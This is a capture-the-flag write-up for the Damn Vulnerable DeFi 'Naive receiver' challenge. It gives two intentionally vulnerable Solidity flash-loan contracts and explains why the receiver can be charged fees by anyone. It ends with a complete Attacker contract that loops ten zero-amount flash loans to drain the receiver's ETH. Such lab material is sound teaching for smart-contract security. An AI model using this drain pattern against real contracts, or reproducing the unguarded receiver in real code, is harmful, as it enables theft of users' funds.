Naive receiver
FlashLoanReceiver.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./NaiveReceiverLenderPool.sol";
/**
* @title FlashLoanReceiver
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FlashLoanReceiver is IERC3156FlashBorrower {
address private pool;
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
error UnsupportedCurrency();
constructor(address _pool) {
pool = _pool;
}
function onFlashLoan(
address,
address token,
uint256 amount,
uint256 fee,
bytes calldata
) external returns (bytes32) {
assembly { // gas savings
if iszero(eq(sload(pool.slot), caller())) {
mstore(0x00, 0x48f5c3ed)
revert(0x1c, 0x04)
}
}
if (token != ETH)
revert UnsupportedCurrency();
uint256 amountToBeRepaid;
unchecked {
amountToBeRepaid = amount + fee;
}
_executeActionDuringFlashLoan();
// Return funds to pool
SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
// Internal function where the funds received would be used
function _executeActionDuringFlashLoan() internal { }
// Allow deposits of ETH
receive() external payable {}
}
NaiveReceiverLenderPool.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./FlashLoanReceiver.sol";
/**
* @title NaiveReceiverLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract NaiveReceiverLenderPool is ReentrancyGuard, IERC3156FlashLender {
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
error RepayFailed();
error UnsupportedCurrency();
error CallbackFailed();
function maxFlashLoan(address token) external view returns (uint256) {
if (token == ETH) {
return address(this).balance;
}
return 0;
}
function flashFee(address token, uint256) external pure returns (uint256) {
if (token != ETH)
revert UnsupportedCurrency();
return FIXED_FEE;
}
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool) {
if (token != ETH)
revert UnsupportedCurrency();
uint256 balanceBefore = address(this).balance;
// Transfer ETH and handle control to receiver
SafeTransferLib.safeTransferETH(address(receiver), amount);
if(receiver.onFlashLoan(
msg.sender,
ETH,
amount,
FIXED_FEE,
data
) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}
if (address(this).balance < balanceBefore + FIXED_FEE)
revert RepayFailed();
return true;
}
// Allow deposits of ETH
receive() external payable {}
}
Goal
Take all ETH out of the user’s (FlashLoanReceiver) contract in a single transaction.
Exploit
In order to finish this CTF we will have to use another smart contract. We can name this contract Attacker.
The vulnerable part of the code is located in the NaiveReceiverLenderPool contract, inside the flashLoan() function.
Instead of relying on the balance of ether (address(this).balance) inside the NaiveReceiverLenderPool contract, we rely on an arbitrary amount of ETH, that can be set on function call, as a balance to be transferred to the borrower contract (FlashLoanReceiver).
This way we can call the flashLoan() function with 0 as amount, and after calculating the fee and after the loan has been settled, this will leave the borrower with 1 eth less. Repeating this operation for 10 times will leave the borrower with 0 ether.
In order to do this in one transaction we can create Attacker contract, and call the flashLoan() function from NaiveReceiverLenderPool in a for loop 10 times.
To exploit the contract we need to:
- create Attacker contract, and create instances from the NaiveReceiverLenderPool and FlashLoanReceiver contracts inside the Attacker contract
- in the constructor of the Attacker contract, in a for loop, call the flashLoan() function from NaiveReceiverLenderPool contract, set FlashLoanReceiver as borrower and set amount to be 0.
Attacker contract code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./NaiveReceiverLenderPool.sol";
import "./FlashLoanReceiver.sol";
contract Attacker {
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
NaiveReceiverLenderPool private immutable pool;
FlashLoanReceiver private immutable vulnerableReceiver;
constructor(NaiveReceiverLenderPool _pool, FlashLoanReceiver _vulnerableReceiver) {
pool = NaiveReceiverLenderPool(_pool);
vulnerableReceiver = FlashLoanReceiver(_vulnerableReceiver);
for(uint256 i = 0; i < 10; i++) {
pool.flashLoan(
IERC3156FlashBorrower(vulnerableReceiver),
ETH,
0,
""
);
}
}
receive() external payable {}
}